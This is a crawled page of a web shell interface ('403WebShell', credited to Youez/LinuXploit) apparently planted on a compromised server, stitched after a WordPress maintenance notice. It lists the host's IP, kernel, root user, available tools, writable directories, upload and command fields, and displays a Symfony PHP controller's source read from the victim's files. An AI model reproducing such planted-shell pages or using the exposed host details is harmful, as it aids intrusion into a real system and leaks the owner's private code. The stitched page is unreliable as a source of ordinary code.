WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.174
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/ContributorEmailController.php
<?php

namespace App\Controller;

use App\Entity\ContributorEmail;
use App\Form\ContributorEmailType;
use App\Repository\ContributorEmailRepository;
use App\Repository\EmailCategoryRepository;
use App\Repository\EmailSubscriptionRepository;
use App\Util\Mailer;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\File\UploadedFile;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;

/**
 * @Route("/contributor/emails")
 */
class ContributorEmailController extends AbstractController
{
    /**
     * @Route("/", name="contributor_email_index", methods={"GET"})
     */
    public function index(ContributorEmailRepository $contributorEmailRepository, EmailCategoryRepository $emailCategoryRepository): Response
    {

        $contributorEmails = $emailCategoryRepository->findAll();

        return $this->render('contributor_email/index.html.twig', [
            'contributor_emails' => $contributorEmailRepository->findAll(),
            'categories' => $contributorEmails
        ]);
    }

    /**
     * @Route("/new", name="contributor_email_new", methods={"GET","POST"})
     * @param Request $request
     * @param EmailSubscriptionRepository $emailSubscriptionRepository
     * @param Mailer $mailer
     * @return Response
     * @throws \Exception
     */
    public function new(Request $request, EmailSubscriptionRepository $emailSubscriptionRepository, Mailer $mailer): Response
    {
        $contributorEmail = new ContributorEmail();
        $form = $this->createForm(ContributorEmailType::class, $contributorEmail);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            /**@var UploadedFile $file**/
            $file = $form['image']->getData();

            if ($file){
                $original_file = $file->getClientOriginalName();
                $original_file_name = pathinfo($original_file, PATHINFO_FILENAME);

                $fileName = $original_file_name . '_' . date("Ymd") . '.' . $file->guessExtension();
                if (!is_dir($this->getParameter('page_images_directory'))) {
                    mkdir($this->getParameter('page_images_directory'), 0777);
                }
                try {
                    $file->move(
                        $this->getParameter('page_images_directory'),
                        $fileName
                    );
                    $contributorEmail->setImage($fileName);
                } catch (FileException $e) {
                    //
                }
            }

            $entityManager = $this->getDoctrine()->getManager();
            $contributorEmail->setCreatedAt(new \DateTime());
            $contributorEmail->setAuthor($this->getUser());
            $entityManager->persist($contributorEmail);
            $entityManager->flush();

            //TODO: send mail
            $emailCategory = $contributorEmail->getCategory();

            $subscriptions = $emailSubscriptionRepository->findBy(['emailCategory'=>$emailCategory]);

            $users = [];

            foreach ($subscriptions as $subscription){
                array_push($users,$subscription->getUser()->getEmail());
            }

            $mailer->sendSubscriptionMail($users,$contributorEmail);


            return $this->redirectToRoute('contributor_email_index');
        }

        return $this->render('contributor_email/new.html.twig', [
            'contributor_email' => $contributorEmail,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="contributor_email_show", methods={"GET"})
     */
    public function show(ContributorEmail $contributorEmail): Response
    {
        return $this->render('contributor_email/show.html.twig', [
            'contributor_email' => $contributorEmail,
        ]);
    }

    /**
     * @Route("/{id}/edit", name="contributor_email_edit", methods={"GET","POST"})
     */
    public function edit(Request $request, ContributorEmail $contributorEmail): Response
    {
        $form = $this->createForm(ContributorEmailType::class, $contributorEmail);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $this->getDoctrine()->getManager()->flush();

            return $this->redirectToRoute('contributor_email_index');
        }

        return $this->render('contributor_email/edit.html.twig', [
            'contributor_email' => $contributorEmail,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="contributor_email_delete", methods={"DELETE"})
     */
    public function delete(Request $request, ContributorEmail $contributorEmail): Response
    {
        if ($this->isCsrfTokenValid('delete'.$contributorEmail->getId(), $request->request->get('_token'))) {
            $entityManager = $this->getDoctrine()->getManager();

            $imageName = $contributorEmail->getImage();

            if ($imageName){
                $path = $this->getParameter('page_images_directory').DIRECTORY_SEPARATOR.$imageName;

                if (is_file($path)){
                    $fileSystem = new Filesystem();
                    $fileSystem->remove($path);
                }
            }


            $entityManager->remove($contributorEmail);
            $entityManager->flush();
        }

        return $this->redirectToRoute('contributor_email_index');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit